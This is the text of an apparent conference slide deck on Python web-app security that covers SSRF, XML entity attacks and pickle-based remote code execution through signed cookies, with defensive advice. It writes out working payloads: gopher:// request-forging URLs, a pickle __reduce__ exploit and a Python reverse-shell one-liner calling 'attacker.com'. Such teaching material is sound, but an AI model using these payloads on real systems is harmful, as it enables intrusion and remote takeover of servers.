Slide 1

Slide 1 text

Surprise Features That you didn’t ask for

Slide 2

Slide 2 text

Outline Server Side Request Forgery (SSRF) Serialization mischief Signed cookies

Slide 3

Slide 3 text

Server Side Request Forgery

Slide 4

Slide 4 text

SSRF Example: API test page - User provides URL for remote API - Server makes request to API - Displays response to user

Slide 5

Slide 5 text

SSRF

Slide 6

Slide 6 text

SSRF: Bottle app @post('/fetch') def fetch(): url = request.forms.get('url') req = urllib2.Request(url) response = urllib2.urlopen(req) return response.read()

Slide 7

Slide 7 text

SSRF: Bottle app

Slide 8

Slide 8 text

SSRF Attacker with SSRF could: - access services on localhost - access other hosts in DMZ - bypass host based security restrictions

Slide 9

Slide 9 text

SSRF Services that rely on host based auth: - memcached - Docker’s REST API (not enabled by default) - mongod REST API (read only) - CouchDB - lots more...

Slide 10

Slide 10 text

SSRF and Python Libs urllib3 and requests libs only accept http(s):// - Only likely to be able forge GET urllib, urllib2 and pycurl support file:// - Can read a local file!

Slide 11

Slide 11 text

Local file read from urllib2 @post('/fetch') def fetch(): url = request.forms.get('url') req = urllib2.Request(url) response = urllib2.urlopen(req) return response.read()

Slide 12

Slide 12 text

SSRF and Python Libs pycurl accepts gopher:// THATS RIGHT, GOPHER! Can send any data (except 0x00) just URL encode it

Slide 13

Slide 13 text

Forging a POST to internal host Forging a request to an internal host with gopher: gopher://192.168.43.235:8888/2%50%4f%53%54%20%2f%61%64%64%75%75%73%65%72%20% 48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%69%6e%74%65%72%6e%61 … The receiver sees POST to API from allowed host: POST /internal-api/adduser HTTP/1.1 Host: internal-api.server.local Content-Type: application/x-www-form-urlencoded Content-Length: 49 username=hax0r&password=hax0r

Slide 14

Slide 14 text

SSRF memcached memcached speaks a plaintext protocol accessible without auth on port 11211 http://www.slideshare.net/d0znpp/ssrf-workshop

Slide 15

Slide 15 text

SSRF memcached Example telnet session with memcache $ telnet localhost 11211 set mykey 0 0 6 mydata STORED get mykey VALUE mykey 0 6 mydata END

Slide 16

Slide 16 text

SSRF and memcache gopher://127.0.0.1:11211/2get%20mykey%0Aquit

Slide 17

Slide 17 text

SSRF Bug Bounty There’s a file in the web root that can only be accessed from localhost. The file contains a bitcoin private key http://blog.fin1te.net/

Slide 18

Slide 18 text

SSRF Bug Bounty http://blog.fin1te.net/

Slide 19

Slide 19 text

SSRF Bug Bounty curl PHP’s parse_url

Slide 20

Slide 20 text

Preventing SSRF Blacklist is error prone. Block requests to private ranges eg. 0.0.0.0 /8 127.0.0.1 /8

Slide 21

Slide 21 text

Preventing SSRF Whitelisting can fail if site has redirect functionality

Slide 22

Slide 22 text

Preventing SSRF Whitelisting can fail if site has redirect functionality

Slide 23

Slide 23 text

Serialization Mischief

Slide 24

Slide 24 text

XML XML is everywhere RSS, SVG, docx, odf, saml, SOAP, XMPP, EXIF... Just to name a few

Slide 25

Slide 25 text

XML Parsing XML from Bottle @post('/lxml') def lxml(): from lxml import etree tree = etree.parse(request.body) return tree.getroot().text

Slide 26

Slide 26 text

XML Entities Submit this: ]> &author; Parsed Result: John Doe

Slide 27

Slide 27 text

XML Billion laughs ... ]> &lol9;

Slide 28

Slide 28 text

XML External Entity (XXE) Submit this: ]> &external; Parsed Result: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Slide 29

Slide 29 text

XML and SSRF Submit this: ]> &external; Parsed Result: Owned by SMBrelay

Slide 30

Slide 30 text

XML and SSRF SMB Relay Get Victim to connect to us, relay their credentials to target

Slide 31

Slide 31 text

SAX: Remote DTD retrieval @post('/sax') def sax(): from xml.sax import make_parser from xml.sax.handler import ContentHandler parser = make_parser() parser.setContentHandler(myHandler()) parser.parse(request.body)

Slide 32

Slide 32 text

SAX: Remote DTD retrieval POST /sax HTTP/1.1 Host: localhost:8082 Content-Length: 105 SSRF in SAX via DTD retrieval

Slide 33

Slide 33 text

SAX: Remote DTD retrieval Netcat listening on the attackers host $ nc -l 8888 GET / HTTP/1.0 Host: 172.16.1.44:8888 User-Agent: Python-urllib/1.17

Slide 34

Slide 34 text

Status of XML parsing in Python libs Source: https://pypi.python.org/pypi/defusedxml

Slide 35

Slide 35 text

Tastypie XXE

Slide 36

Slide 36 text

Preventing XML parsing issues Can users control XML content that the app parses? Use diffusedxml Review 3rd party code for XML parsing

Slide 37

Slide 37 text

Signed Cookies

Slide 38

Slide 38 text

Session management 1. Opaque token id= OR 2. Serialized data id=.

Slide 39

Slide 39 text

Signed cookies Session data is visible to user... which is fine unless you store a 2FA challenge in it

Slide 40

Slide 40 text

Signed Cookies Session data is trusted so its fine to perform actions based on its data… unless the session data contains a discount thats already been applied

Slide 41

Slide 41 text

Signed Cookies Its signed so its totally ok to just deserialize data from user… ..unless they can somehow read the secret key ..maybe the app’s vulnerable to XXE?

Slide 42

Slide 42 text

Serializers: JSON v. Pickle Serializing with JSON risks: - Content visible to user - Replay attacks, if nonce not used - Content could be altered if secret exposed

Slide 43

Slide 43 text

Serializers: JSON v. Pickle Serialize with Pickle, all of the risks for JSON plus: Unpickling user data introduces risk of remote code execution How?

Slide 44

Slide 44 text

Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch /tmp/pwnd',)) # this is run when obj is created pickled = pickle.dumps(Exploit()) # serialize Exploit object to text print pickled pickle.loads(pickled) # create Exploit object from text https://blog.nelhage.com/2011/03/exploiting-pickle/

Slide 45

Slide 45 text

Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch /tmp/pwnd',)) # this is run when obj is created pickled = pickle.dumps(Exploit()) print pickled pickle.loads(pickled) https://blog.nelhage.com/2011/03/exploiting-pickle/

Slide 46

Slide 46 text

Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch /tmp/pwnd',)) pickled = pickle.dumps(Exploit()) # serialize Exploit object to text print pickled pickle.loads(pickled) https://blog.nelhage.com/2011/03/exploiting-pickle/

Slide 47

Slide 47 text

Unpickling user data pickled = pickle.dumps(Exploit()) print pickled # print out serialized object pickle.loads(pickled) $ python pickleme.py cposix # this is what pickle “stack language” system # looks like p0 (S'touch /tmp/pwnd' p1

Slide 48

Slide 48 text

Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch /tmp/pwnd',)) pickled = pickle.dumps(Exploit()) print pickled pickle.loads(pickled) # create Exploit object from text # (this is going to run) https://blog.nelhage.com/2011/03/exploiting-pickle/

Slide 49

Slide 49 text

Unpickling user data $ python pickleme.py $ ls -l /tmp/pwnd -rw-rw-r-- 1 mike mike 0 Sep 13 11:46 /tmp/pwnd

Slide 50

Slide 50 text

Signed cookies Since 1.6 Django started using JSON over pickle Flask switched to JSON in mid 2013 itsdangerous (good name) defaults to JSON (pickle optional)

Slide 51

Slide 51 text

Signed Cookies Frameworks still using pickle: - Bottle - Pylons/Pyramid - Werkzeug - Beaker

Slide 52

Slide 52 text

Signed Cookies: Bottle

Slide 53

Slide 53 text

Remote Code Execution 1. Read the secret used to sign the cookie 2. Write code to give ourselves a shell 3. Use pickle to serialise the code 4. Base64 encode and sign 5. Send cookie to application

Slide 54

Slide 54 text

No content

Slide 55

Slide 55 text

Reading the secret, used to sign

Slide 56

Slide 56 text

Code for remote shell revshell = import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket. SOCK_STREAM); s.connect(("attacker.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Slide 57

Slide 57 text

Use Pickle to Serialise revshell 1. Read the secret used to sign the cookie 2. Write code to give ourselves a shell 3. Use pickle to serialise the code Create object with reduce method that’ll run shellcode http://vudang.com/2013/01/python-web-framework-from-lfr

Slide 58

Slide 58 text

Create signed cookie, send to app

Slide 59

Slide 59 text

Attacker’s host gets remote shell

Slide 60

Slide 60 text

We’re Hiring Pentesting Challenges http://tinyurl.com/h4ckit